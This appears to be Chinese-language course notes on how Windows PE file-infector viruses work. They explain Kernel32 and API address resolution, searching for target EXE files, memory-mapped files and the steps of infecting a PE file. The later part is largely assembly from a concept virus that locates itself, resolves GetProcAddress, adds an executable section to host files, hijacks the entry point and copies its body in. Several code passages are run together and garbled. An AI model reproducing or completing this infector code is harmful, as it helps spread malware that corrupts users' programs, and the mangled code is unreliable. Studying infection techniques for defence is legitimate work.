五、Windows病毒之PE型病毒
5.1 PE病毒原理
獲取API函數地址
原因:
Win32程序一般運行在Ring 3,Win32下的系統功能調用,不是通過中斷實現,而是通過調用動態鏈接庫中的API函數實現。
普通PE程序通過導入節獲取API函數地址,而PE病毒只有代碼節,對API函數的調用需要首先找到其在相應DLL中的地址。
怎么獲取API函數地址
1、獲取API函數地址,首先需要獲取Kernel32的基地址
2、獲取Kernel32及地址
- 利用程序的返回地址,在其附近搜索Kernel32模塊基地址。
- 系統打開一個文件的時候,會調用Keernel32.DLL中的CreateProcess函數,該函數在完成裝載應用程序后,會將其在Kernel32.DLL中的返回地址壓入堆棧。
- 根據堆棧中的地址可以找到Kernel32.DLL模塊的地址空間,然后可以以此為基礎回退到Kernel32.DLL的文件頭,從而確定其導出函數節。
-
對相應操作系統分別給出固定的Kernel32模塊的基地址。
對於同一版本的Windows操作系統,Kernel32模塊的地址是固定,甚至一些API函數的大概位置都是固定的。
3、在得到Kernel32.DLL的模塊地址后,就可以在該模塊中的導出表中搜索所需要的API地址
4、另一重辦法是在Kernel32.DLL中搜索出GetProcAddress和LoadLibray兩個API函數的地址,然后利用這兩個API函數得到所需要的API函數地址。
已知API函數序列號搜索API函數地址
- 定位PE文件頭
- 從PE文件頭中的可選文件頭中取出數據目錄表的第一個數據目錄,得出導出函數的地址。
- 從導出表的Base字段取得始序號。
- 將需要查找的到處序號減去起始序號,得到函數入口地址表中的索引號。
- 驗證索引號的合法性。
- 用該索引值在AddrOfFunctions字段指向的地址表取出相應的項目。
已知函數名查找入口地址
- 定位PE文件頭
- 從PE文件頭中的可選文件頭中取出數據目錄表的第一個數據目錄,得出導出函數的地址。
- 從AddressOfNames字段指向的函數名地址表的第一項開始逐一查找與其對應項 。
- 通過在AddressOfNames中匹配項的索引值在AddressOfNameOrdinals指向的數組中查找索引 值。
- 以該索引值在AddressOfFunctions中獲取對應的 RVA。
搜索感染目標文件
-
幾個關鍵的API函數
FindFirstFile
根據文件名查找文件
FindNextFile
FindClose
-
API使用的數據結構
WIN32_FIND_DATA
-
搜索時采用遞歸算法
5.2 內存映射文件
原理
- 內存映射文件提供了一組獨立的函數,使應用程序能夠通過內存指針像訪問內存一樣對磁盤上的文件進行訪問。
- 內存映射文件函數將磁盤上的文件的全部或者部分映射到進程虛擬地址空間的某個位置,以后對文件內容的訪問就如同在該地址區域內直接對內存訪問一樣。
使用內存映射文件讀寫文件
- 調用CreateFile函數打開想要映射的HOST程序,返回文件句柄hFile。
- 調用CreateFileMapping函數生成一個建立基於HOST文件舉辦hFile的內存映射對象,返回內存映射對象句柄hMap。
- 調用MapViewOfFile函數將整個文件映射到內存中,得到指向內存的第一個字節的指針pMem。
- 用指針pMem對整個HOST文件進行操作,實施病毒感染。
- 調用UnMapViewFile函數解除文件映射,傳入參數是pMem
- 調用CloseHandle來關閉內存映射文件,傳入參數是hMap
- 調用CloseHandle來關閉HOST文件,傳入參數是hFile。
5.3 病毒感染PE文件的基本方法
感染文件的基本步驟
-
判斷目標文件開始的兩個字節是否為“MZ"
-
判斷PE文件標記“PE”
-
判斷感染標記,如果已被感染過則跳出繼續執行HOST程序,否則實施感染
-
獲得Directory的個數,每個目錄信息占8個字節
-
得到節表起始位置
-
得到目前最后節表的末尾偏移
-
寫入新節表
- 寫入節名
- 寫入節的實際字節數
- 寫入新節在內存中的開始偏移地址,同時可以計算出病毒入口位置
- 本節在內存中的開始偏移地址=上節在內存中的開始偏移地址+(上節大小/節對齊+1)*節對齊
- 寫入本節在文件中對齊后的大小
- 寫入本節在文件中的開始位置
- 修改映像文件頭中的節表數目
- 修改AddressOfEntryPoint,同時保存舊的AddressOfEntryPoint,以便返回HOST繼續執行
- 更新SizeOflmage(內存中整個映像尺寸=原SizeOflmage +病毒節經過內存節對齊后的大小)
- 寫入感染標記
- 寫病毒代碼到新添加的節中
- 將當前文件位置設為文件尾
5.4 PE概念病毒感染分析
病毒定位
vstart:
push ebp
push esp
call nstart
nstart:
pop ebp
sub ebp,offset nstart
異常處理
assume fs:nothing ;設置SEH,發生異常可以直接返回原入口.
lea ebx, SEH[ebp]
push ebx
push fs:[0]
mov fs:[0],esp
mov OldEsp[ebp],esp
備份程序入口地址
cmp old_base[ebp],0
jnz gonext
mov old_base[ebp],400000h
gonext:
cmp old_in[ebp],0
jnz change
mov old_in[ebp],1000h
change:
mov eax, old_base[ebp]
mov des_base[ebp], eax
mov eax, old_in[ebp]
mov des_in[ebp], eax
獲得KERNEL32地址
mov eax,[esp+10h] ;//取Kernel32返回地址
and ax,0f000h
mov esi,eax ;//得到Kernel.PELoader代碼位置(不精確)
LoopFindKernel32:
sub esi,1000h
cmp word ptr[esi],'ZM' ;//搜索EXE文件頭
jnz short LoopFindKernel32
獲得KERNEL32地址
GetPeHeader:
movzx edi,word ptr[esi+3ch]
add edi,esi
cmp word ptr[edi],'EP' ;//確認是否PE文件頭
jnz short LoopFindKernel32 ;esi->kernel32,edi->kernel32 PE HEADER
;///////////////////////////////////////////查找GetProcAddress函數地址
mov vKernel32[ebp],esi
獲得GetProcAddress函數地址
GetPeExportTable:
mov ebx,[edi+78h];4+14h+60h
add ebx,vKernel32[ebp] ;//得到輸出函數表
mov vExportKernel[ebp],ebx
push 14
call aGetProcAddr
db "GetProcAddress",0
aGetProcAddr:
lea eax,GetApiAddress[ebp]
call eax
or eax,eax
jz ExitTimes
mov vGetProcAddress[ebp],eax ;得到GetProcAddre
獲取Kernel32其他函數地址
lea esi,bGetModuleHandle[ebp] ;
lea edi,vGetModuleHandle[ebp]
cld
ComeOn:
lodsd
add eax,ebp
push eax
push vKernel32[ebp]
call dword ptr vGetProcAddress[ebp]
or eax,eax
jz ExitTimes
stosd
cmp dword ptr[esi],0
jnz ComeOn
利用API查找感染目標
- 獲取當前程序所在目錄
- 保存當前目錄
- 獲取Windows所在的目錄,並將其設為當前目錄
- 獲取System所在目錄,並將其設為當前目錄
- 查找當前目錄下的第一個EXE文件
病毒傳染
- 打開文件
- 建立內存映射文件
- 判斷感染條件
mov ebx, eax
assume ebx :ptr IMAGE_DOS_HEADER
mov eax,[ebx].e_ lfanew
test eax,0fffff000h
jnz EndDir ;Header+stub不可能太大,超過4096byte
mov pe_header_off[ebp],eax
add ebx,eax ;此時ebx指向PE文件頭
assume ebx:ptr IMAGE_NT HEADERS
cmp [ebx].Signature,IMAGE_NT_SIGNATURE;
jnz UnMap
cmp word ptr[ebx+1ah],'FB’;是否已經感染
- 准備添加新節
movzx eax,[ebx].FileHeader.NumberOfSections ;文件的節數mov ecx,28h/l每個節表的長度mul ecxadd eax,pe_header_off[ebp]add eax,18h//PE Header長度movzx esi,[ebx].FileHeader.SizeOfOptionalHeaderadd eax,esimov NewSection off[ebp], eax;保存新節起始RVAadd eax,28h;比較增加新節后是否超出SizeOfHeaders(節.TEXT在文件中的RVA)cmp eax,[ebx].OptionalHeader.SizeOfHeadersja Infest ;即使沒有添加空間還是可以免疫
- 修改映射文件大小
mov ecx,FileAlign[ebp]xor edx,edxdiv ecxtest edx,edxjz NoChangeinc eaxNoChange:mul ecxmov fsize[ebp],eax;文件尺寸節文件對齊add eax,1000h。。。
- 保留原入口
assume ebx:ptr IMAGE_NT_HEADERSNoinfect: mov eax,[ebx].OptionalHeader.AddressOfEntryPoint mov old_in[ebp],eax mov eax,[ebx].OptionalHeader.ImageBase mov old_base[ebp],eax
- 在節表中添加新節
mov edi,NewSection_off[ebp];新節的RVAadd edi,pMapping[ebp] ;edi->新節起始地址inc [ebx].FileHeader.NumberOfSections ;節數目+1mov esi,edi ;edi指向新節sub esi,28h ;esi指向上一個節assume edi:ptr IMAGE_SECTION_HEADERassume esi:ptr IMAGE_SECTION_HEADERmov[edi].Name1, ‘B.';為新節命名mov [edi+2h].Name1, 'hsiF';為新節命名
push[ebx].OptionalHeader.SizeOflmage ;原文件映像裝入內存后的總尺寸,對齊SectionAlignment.pop [edi].VirtualAddress ;新節在內存中的地址mov eax,offset vend-offset vstartmov[edi].Misc.VirtualSize,eax ;新節的大小(未對齊)mov ecx,[ebx].OptionalHeader.FileAlignmentxor edx,edxdiv ecxtest edx,edxjz NoChange1inc eax
NoChange1: mul ecx mov [edi].SizeOfRawData,eax;新節對齊FileAligment后的大小 mov eax,fsize[ebp] mov [edi].PointerToRawData,eax;本節在文件中的位置 mov [edi].Characteristics,0E0000020h ;可讀可寫可執行
- 更新SizeOflmage,AddressOfEntryPoint
mov eax,[edi].Misc.VirtualSize;新節的大小(未對齊)mov ecx,[ebx].OptionalHeader.SectionAlignment ;內存節對齊xor edx,edxdiv ecxtest edx,edxjz NoChange2inc eax
NoChange2: mul ecx add eax,[ebx].OptionalHeader.SizeOflmage;對齊后大小+原文件映像裝入內存后的總尺寸,對齊SectionAlignment. mov [ebx].OptionalHeader.SizeOflmage,eax ;更新后的文件映像裝入內存后的總尺寸,對齊SectionAlignment. mov eax,[edi].VirtualAddress;新節在內存中的地址寫入入口點 mov [ebx].OptionalHeader.AddressOfEntryPoint,eax
- 將病毒代碼寫入映射的內存中(在原文件之后)
mov edi,pMapping[ebp]
add edi,fsize[ebp]
lea esi,vstart[ebp]
mov ecx,offset vend-offset vstart
cld
rep movsb